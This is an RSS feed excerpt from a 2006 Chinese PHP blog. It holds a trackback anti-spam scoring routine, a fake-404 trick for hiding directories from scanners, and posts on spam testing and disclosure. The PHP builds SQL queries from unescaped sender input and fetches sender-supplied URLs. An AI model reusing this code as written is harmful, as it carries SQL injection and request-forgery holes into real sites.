<p>相信大家看了应该都知道是怎么防御这个Trackback Spam了。具体代码是怎么实现的呢？下面就是目前Sablog-X所使用的代码：</p>
<p><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">//&nbsp;检查Spam<br /><br />//&nbsp;定义发送来的此条Trackback初始分数<br /><br /></span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$options</span><span style="color: #007700">[</span><span style="color: #DD0000">'tb_spam_level'</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span style="color: #0000BB">in_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$options</span><span style="color: #007700">[</span><span style="color: #DD0000">'tb_spam_level'</span><span style="color: #007700">],&nbsp;array(</span><span style="color: #DD0000">'strong'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'weak'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'never'</span><span style="color: #007700">))&nbsp;?&nbsp;</span><span style="color: #0000BB">$options</span><span style="color: #007700">[</span><span style="color: #DD0000">'tb_spam_level'</span><span style="color: #007700">]&nbsp;:&nbsp;</span><span style="color: #DD0000">'weak'</span><span style="color: #007700">;<br /><br />if&nbsp;(</span><span style="color: #0000BB">$options</span><span style="color: #007700">[</span><span style="color: #DD0000">'audit_trackback'</span><span style="color: #007700">])&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//如果人工审核<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$visible&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'0'</span><span style="color: #007700">;<br /><br />}&nbsp;elseif&nbsp;(</span><span style="color: #0000BB">$options</span><span style="color: #007700">[</span><span style="color: #DD0000">'tb_spam_level'</span><span style="color: #007700">]&nbsp;!=&nbsp;</span><span style="color: #DD0000">'never'</span><span style="color: #007700">)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$source_content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!empty(</span><span style="color: #0000BB">$url</span><span style="color: #007700">))&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$source_content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen_url</span><span style="color: #007700">(</span><span style="color: #0000BB">$url</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$this_server&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(array(</span><span style="color: #DD0000">'www.'</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'http://'</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">'HTTP_HOST'</span><span style="color: #007700">]);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//获取接受来的url原代码和本服务器的hostname<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(empty(</span><span style="color: #0000BB">$source_content</span><span style="color: #007700">))&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//没有获得原代码就-1分<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">strpos</span><span style="color: #007700">(</span><span style="color: #0000BB">strtolower</span><span style="color: #007700">(</span><span style="color: #0000BB">$source_content</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">strtolower</span><span style="color: #007700">(</span><span style="color: #0000BB">$this_server</span><span style="color: #007700">))&nbsp;!==&nbsp;</span><span style="color: #0000BB">FALSE</span><span style="color: #007700">)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//对比链接，如果原代码中包含本站的hostname就+1分，这个未必成立<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">strpos</span><span style="color: #007700">(</span><span style="color: #0000BB">strtolower</span><span style="color: #007700">(</span><span style="color: #0000BB">$source_content</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">strtolower</span><span style="color: #007700">(</span><span style="color: #0000BB">$title</span><span style="color: #007700">))&nbsp;!==&nbsp;</span><span style="color: #0000BB">FALSE</span><span style="color: #007700">)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//对比标题，如果原代码中包含发送来的title就+1分，这个基本可以成立<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">strpos</span><span style="color: #007700">(</span><span style="color: #0000BB">strtolower</span><span style="color: #007700">(</span><span style="color: #0000BB">$source_content</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">strtolower</span><span style="color: #007700">(</span><span style="color: #0000BB">$excerpt</span><span style="color: #007700">))&nbsp;!==&nbsp;</span><span style="color: #0000BB">FALSE</span><span style="color: #007700">)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//对比内容，如果原代码中包含发送来的excerpt就+1分，这个由于标签或者其他原因，未必成立<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$interval&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">$options</span><span style="color: #007700">[</span><span style="color: #DD0000">'tb_spam_level'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">'strong'</span><span style="color: #007700">)&nbsp;?&nbsp;</span><span style="color: #DD0000">'30'&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">'60'</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//根据防范强度设置时间间隔，强的话在30内发现有同一IP发送。弱的话就是60秒内发现有同一IP发送.<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$query&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT&nbsp;trackbackid&nbsp;FROM&nbsp;"</span><span style="color: #007700">.</span><span style="color: #0000BB">$db_prefix</span><span style="color: #007700">.</span><span style="color: #DD0000">"trackbacks&nbsp;WHERE&nbsp;ipaddress='"</span><span style="color: #007700">.</span><span style="color: #0000BB">getip</span><span style="color: #007700">().</span><span style="color: #DD0000">"'&nbsp;AND&nbsp;dateline+"</span><span style="color: #007700">.</span><span style="color: #0000BB">$interval</span><span style="color: #007700">.</span><span style="color: #DD0000">"&gt;='"</span><span style="color: #007700">.</span><span style="color: #0000BB">time</span><span style="color: #007700">().</span><span style="color: #DD0000">"'"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$tatol&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">num_rows</span><span style="color: #007700">(</span><span style="color: #0000BB">$query</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//在单位时间内发送的次数<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">$tatol&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//如果发现在单位时间内同一IP发送次数大于0就扣一分，人工有这么快发送trackback的吗？<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$query&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT&nbsp;trackbackid&nbsp;FROM&nbsp;"</span><span style="color: #007700">.</span><span style="color: #0000BB">$db_prefix</span><span style="color: #007700">.</span><span style="color: #DD0000">"trackbacks&nbsp;WHERE&nbsp;REPLACE(LCASE(url),'www.','')='"</span><span style="color: #007700">.</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">'www.'</span><span style="color: #007700">,</span><span style="color: #DD0000">''</span><span style="color: #007700">,</span><span style="color: #0000BB">strtolower</span><span style="color: #007700">(</span><span style="color: #0000BB">$url</span><span style="color: #007700">)).</span><span style="color: #DD0000">"'"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$tatol&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">num_rows</span><span style="color: #007700">(</span><span style="color: #0000BB">$query</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//对比数据库中的url和接收来的<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">$tatol&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//如果发现有相同，扣一分。<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">$options</span><span style="color: #007700">[</span><span style="color: #DD0000">'tb_spam_level'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">'strong'</span><span style="color: #007700">)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//高强度防范<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$query&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT&nbsp;title,ipaddress,articleid&nbsp;FROM&nbsp;"</span><span style="color: #007700">.</span><span style="color: #0000BB">$db_prefix</span><span style="color: #007700">.</span><span style="color: #DD0000">"trackbacks&nbsp;WHERE&nbsp;ipaddress='"</span><span style="color: #007700">.</span><span style="color: #0000BB">getip</span><span style="color: #007700">().</span><span style="color: #DD0000">"'&nbsp;OR&nbsp;articleid='"</span><span style="color: #007700">.</span><span style="color: #0000BB">$articleid</span><span style="color: #007700">.</span><span style="color: #DD0000">"'"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//搜索数据库内发送此trackback来本站的IP和文章ID<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">while&nbsp;(</span><span style="color: #0000BB">$trackback&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$DB</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">fetch_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$query</span><span style="color: #007700">))&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">$trackback</span><span style="color: #007700">[</span><span style="color: #DD0000">'title'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #0000BB">$title&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">$trackback</span><span style="color: #007700">[</span><span style="color: #DD0000">'ipaddress'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #0000BB">getip</span><span style="color: #007700">())&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//如果数据库内的title和接收来的title一样，IP也一样，视为重复发送。就减1分。<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">$trackback</span><span style="color: #007700">[</span><span style="color: #DD0000">'ipaddress'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #0000BB">getip</span><span style="color: #007700">()&nbsp;&amp;&amp;&nbsp;</span><span style="color: #0000BB">$trackback</span><span style="color: #007700">[</span><span style="color: #DD0000">'articleid'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #0000BB">$articleid</span><span style="color: #007700">)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//如果数据库内的articleid和接收来的articleid一样，IP也一样，视为重复发送。就减1分。<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;防范强:最终分数少于1分就CUT！<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$visible&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;?&nbsp;</span><span style="color: #DD0000">'0'&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">'1'</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;防范弱:最终分数少于0分才CUT！<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$visible&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">$point&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;?&nbsp;</span><span style="color: #DD0000">'0'&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">'1'</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />}&nbsp;else&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$visible&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'1'</span><span style="color: #007700">;<br /><br />}<br /><br /></span><span style="color: #FF8000">//&nbsp;检查Spam完毕</span><span style="color: #0000BB"></span>
</span>
</code></p>
<p>上次和O-BLOG作者风色提起过，可是不经常看他上QQ，目前通过大量测试。。已经证实可以起到防御的作用。希望有各位看了我的文章，可以提出自己的看法，互相交流。继续共同提高。呵呵。</p>
<p>要拍砖的，尽管来，没有刺激，哪有膨胀，没有压力，哪有动力，没有反馈，哪有更好？</p>
<hr />
<p>18日中午想到的，还可以多加一条判断就是拿接收到的$url参数和数据库内的对比，如果存在了，再扣一分！</p>]]></description>
			<link>http://www.sablog.net/blog/trackback-spam/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-04-18 02:19</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/114/</guid>
			<title>目录探测也是入侵收集信息的关键</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>有不少人问我，为什么后台的首页文件不用index.php而用admincp.php？多麻烦啊。其实我没有用index.php是有准备的。通常要了解一个网站的结构。探测目录也是收集目标网站信息的手段之一。可以让攻击者知道有什么目录。根据目录命名大概判断目录里存放的是哪一类文件。</p>
<p>所以我在几个重要目录里，放了一个index.php文件。文件内容:</p>
<p><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">&lt;?</span><span style="color: #0000BB">php<br />header</span><span style="color: #007700">(</span><span style="color: #DD0000">'HTTP/1.1&nbsp;404&nbsp;Not&nbsp;Found'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">?&gt;<br /></span>&lt;!DOCTYPE&nbsp;HTML&nbsp;PUBLIC&nbsp;"-//IETF//DTD&nbsp;HTML&nbsp;2.0//EN"&gt;<br />&lt;HTML&gt;&lt;HEAD&gt;<br />&lt;TITLE&gt;404&nbsp;Not&nbsp;Found&lt;/TITLE&gt;<br />&lt;/HEAD&gt;&lt;BODY&gt;<br />&lt;H1&gt;Not&nbsp;Found&lt;/H1&gt;<br />The&nbsp;requested&nbsp;URL&nbsp;<span style="color: #0000BB">&lt;?php&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #0000BB">dirname</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">"SCRIPT_NAME"</span><span style="color: #007700">]);</span><span style="color: #0000BB">?&gt;</span>&nbsp;was&nbsp;not&nbsp;found&nbsp;on&nbsp;this&nbsp;server.&lt;P&gt;<br />&lt;HR&gt;<br />&lt;ADDRESS&gt;Web&nbsp;Server&nbsp;at&nbsp;<span style="color: #0000BB">&lt;?php&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">"SERVER_NAME"</span><span style="color: #007700">];</span><span style="color: #0000BB">?&gt;</span>&nbsp;Port&nbsp;<span style="color: #0000BB">&lt;?php&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">"SERVER_PORT"</span><span style="color: #007700">];</span><span style="color: #0000BB">?&gt;</span>&lt;/ADDRESS&gt;<br />&lt;/BODY&gt;&lt;/HTML&gt;</span>
</code></p>
<p>很多扫描器都是通过HTTP协议标头信息判断，所以我发送一个404，就表示目录或文件都不存在。我用扫描器扫描WEB路径，看看扫描<a target="_blank" href="http://www.hatoyu.com/">于震的BLOG</a>就把所有目录都扫描出来了。而扫描我的。只扫描出几个没有放上面的代码的目录。</p>
<p>这样，如果不手工去判断，或者更好的设置扫描器。就很难判断出admin、include这些目录是否存在。<strong>安全，需要从每一个细小的环节做起。</strong>呵呵。这下大家知道为什么我后台不用index.php作为首页了吧。</p><br /><br /><b>图片附件:</b><br /><a href="http://www.sablog.net/blog/attachment.php?id=73" target="_blank"><img src="http://www.sablog.net/blog/attachments//cate_2/a83f2ebc482717c2b47ec6b1b78687a5.gif" border="0" alt="大小: 13 K&#13;尺寸: 452 x 422&#13;浏览: 312 次&#13;点击打开新窗口浏览全图" width="452" height="422" /></a><br /><br /><b>图片附件:</b><br /><a href="http://www.sablog.net/blog/attachment.php?id=74" target="_blank"><img src="http://www.sablog.net/blog/attachments//cate_2/ba8d218281c6dbc0626e30e2c5040a63.gif" border="0" alt="大小: 11.92 K&#13;尺寸: 452 x 422&#13;浏览: 229 次&#13;点击打开新窗口浏览全图" width="452" height="422" /></a>]]></description>
			<link>http://www.sablog.net/blog/archives/114/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-04-16 15:25</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/108/</guid>
			<title>Trackback测试</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>启用了独特的Trackback Spam防范机制。一共经过5步处理，如果是高强度防范，则经过6步处理。每一步都是决定信息去处的关键。感谢<a target="_blank" href="http://www.phpx.com/happy/">国际村</a>的<a target="_blank" href="http://www.phpx.com/happy/profile-username-sadly.html">sadly</a>帮忙测试，他用他的程序给我发送Trackback Spam，系统成功拦截。并且有记录。</p>
<p>欢迎大家继续测试。如果是正常从各位的BLOG发送过来的。应该是接收没有什么问题的。后台可以设置防范等级。欢迎发送各种Trackback spam来这篇文章。其他的文章希望各位大哥大姐手下留情。</p>
<p><font color="#0000ff">根据后台的记录，发现 <u>59.42.188.xx</u> 的朋友在11日晚上9:20-9:30这段时间发送了10多条Trackback过来。成功拦截了10多条，有2条系统认为是正常的。特别感谢这位朋友的热心测试。</font></p>
<p><font color="#0000ff">感谢<a target="_blank" href="http://www.bdrx.net/blog/">小麟哥 - Fighting!</a>的手工测试！如果不介意，请再手工发送几十条过来看看。</font></p>
<p>12日凌晨4点把所有垃圾或者测试的Trackback清除，最新加入了人工发送的判断。各位如果愿意花5分钟，继续疯狂轰炸这篇文章。让我好不断改善。杜绝各种垃圾信息！谢谢各位啦！！！</p>
<p><strong><font size="3">再次感谢<font color="#333399">221.235.207.xx，（59.35.10.xx，59.35.49.xx，59.35.36.xx），</font><font color="#333399">221.12.110.xx</font> 这3位朋友的热心测试。后台记录了共30多条来自这几个IP发送的测试数据。</font></strong></p><br /><br /><b>图片附件:</b><br /><a href="http://www.sablog.net/blog/attachment.php?id=69" target="_blank"><img src="http://www.sablog.net/blog/attachments//cate_2/25d9cf2ea12c2a684c71daa83842a5ca.gif" border="0" alt="大小: 3.16 K&#13;尺寸: 398 x 107&#13;浏览: 198 次&#13;点击打开新窗口浏览全图" width="398" height="107" /></a>]]></description>
			<link>http://www.sablog.net/blog/archives/108/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-04-11 15:20</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/107/</guid>
			<title>Trackback也验证?</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>最近发现有人利用Trackback功能发广告。我觉得没什么说的。也懒得打字了。</p>
<p>sadly搞的Trackback垃圾，很多人说这个人不怎么样，说发这些怎么怎么不对，站在网络安全角度来说。sadly是好样的。我们发现漏洞，如果不发布出来。只有导致更加多的人受害。只有公布了以后。不管白与黑。技术都会有提高。不知道sadly能不能看到我的文章。但是不管多少人骂你发Trackback垃圾，但是作为网络安全技术人员。我支持你。呵呵。</p>
<p>我们搞安全的知道一个定律，道高一尺，魔高一丈。如果按照BO-BLOG的方法，在URL加特殊字符串，如果软件读取HTML代码，分析出那段特殊字符串，一样可以发送垃圾。只要是文本。要分析出来可以在1秒或者2秒之内。呵呵。图片验证？算了吧。</p>
<p>我看。还是用评论防止垃圾的办法。自己判断设置属性为隐藏吧。。再到后台按照IP清理吧。</p>]]></description>
			<link>http://www.sablog.net/blog/archives/107/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-04-09 21:27</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/101/</guid>
			<title>有必要生成静态页面吗</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>通常总认为静态页面执行速度快且不费资源，很多大型网站都将最终页面生成静态的，可是从.php技术说它本身支持多种级别的缓存，而且很多种模板支持缓存，就速度来说。已经不是什么急需解决的难题，而且和HTML静态页面的速度可以说没有区别。还有必要生成静态的么？</p>
